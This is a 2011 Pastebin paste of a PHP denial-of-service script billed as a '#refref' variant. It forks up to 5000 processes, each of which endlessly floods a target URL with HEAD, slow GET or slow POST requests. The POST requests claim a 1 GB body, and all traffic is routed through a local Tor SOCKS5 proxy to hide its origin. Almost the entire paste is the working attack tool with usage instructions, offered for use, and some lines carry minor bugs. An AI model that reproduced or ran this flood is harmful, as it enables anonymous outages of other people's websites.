Guest User

PHP #refref

a guest
Aug 15th, 2011
1,213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.70 KB | None | 0 0
  1. <?
  2. /** PHP variant of #refref using slow GET headers, slow POST, keep-alive with max of 5000 theads
  3. * Usage php ./<script.php> <number of processes> <method>
  4. **/
  5. function usage($argv) {
  6. print "Usage: php ./{$argv[0]} <number of processes> <method>\n";
  7. die();
  8. }
  9.  
  10. function head($url) {
  11.  
  12. while(true) {
  13. $header[] = "Connection: keep-alive";
  14.  
  15. $ch = curl_init();
  16. curl_setopt($ch, CURLOPT_URL, $url);
  17. curl_setopt($ch, CURLOPT_NOBODY, true);
  18. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  19. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  20. curl_setopt($ch, CURLOPT_VERBOSE, true);
  21. curl_setopt($ch, CURLOPT_HEADER, true);
  22. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  23. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
  24. curl_setopt($ch, CURLINFO_HEADER_OUT, true);
  25. curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
  26. curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  27. curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  28. curl_exec($ch);
  29. curl_close($ch);
  30. }
  31.  
  32. }
  33.  
  34. function post($url) {
  35.  
  36. while(true) {
  37. $header[] = "Keep-Alive: 900";
  38. $header[] = "Content-Length: 1000000000";
  39. $header[] = "Content-Type: application/x-www-form-urlencoded";
  40. $header[] = "Accept: *.*";
  41.  
  42. $ch = curl_init();
  43. curl_setopt($ch, CURLOPT_URL, $url);
  44. curl_setopt($ch, CURLOPT_POST, true);
  45. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  46. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  47. curl_setopt($ch, CURLOPT_VERBOSE, true);
  48. curl_setopt($ch, CURLOPT_HEADER, true);
  49. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  50. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
  51. curl_setopt($ch, CURLINFO_HEADER_OUT, true);
  52. curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
  53. curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  54. curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  55. curl_setopt($ch, CURLOPT_POSTFIELDS, ".");
  56. curl_exec($ch);
  57. curl_close($ch);
  58. }
  59. }
  60.  
  61. function get($url) {
  62.  
  63. while(true) {
  64. $header[] = "Keep-Alive: 900";
  65. $header[] = "Content-Length: " . rand(10000, 1000000);
  66. $header[] = "Accept: *.*";
  67. $header[] = "X-".rand(0,9).": " . rand(1, 10000);
  68.  
  69. $ch = curl_init();
  70. curl_setopt($ch, CURLOPT_URL, $url);
  71. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  72. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  73. curl_setopt($ch, CURLOPT_VERBOSE, true);
  74. curl_setopt($ch, CURLOPT_HEADER, true);
  75. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  76. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
  77. curl_setopt($ch, CURLINFO_HEADER_OUT, true);
  78. curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
  79. curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  80. curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  81. curl_exec($ch);
  82. curl_close($ch);
  83. }
  84. }
  85.  
  86. function main($argc, $argv) {
  87. $url = "http://<some url>";
  88. $status = 1;
  89.  
  90. if ($argc < 2) {
  91. usage($argv);
  92. }
  93.  
  94. //check threads
  95. if($argv[1] > 5001) {
  96. echo "MAX OF 5000 threads\n\n";
  97. die();
  98. }
  99.  
  100. $pids = Array();
  101.  
  102. for ($i = 0; $i < $argv[1]; $i++) {
  103. $pid = pcntl_fork();
  104.  
  105. if ($pid == -1) {
  106. die("ERROR");
  107. }
  108. else if ($pid == 0) {
  109. $loc = $url.rand(1000000, 999999999999999);
  110. if($argv[2] == 'H') {
  111. head($loc);
  112. } elseif($argv[2] == 'G') {
  113. get($loc);
  114. } elseif($argv[2] == 'P') {
  115. post($loc);
  116. } else {
  117. $rand = rand(0, 2);
  118. if($rand == 0) head($loc);
  119. if($rand == 1) post($loc);
  120. else get($loc);
  121. }
  122. exit(0);
  123. }
  124. else {
  125. $pids[] = $pid;
  126. }
  127. }
  128.  
  129. foreach ($pids as $pid) {
  130. pcntl_waitpid($pid, $status);
  131. }
  132.  
  133. }
  134.  
  135. // fire everything up
  136. main($argc, $argv);
Advertisement
Add Comment
Please, Sign In to add comment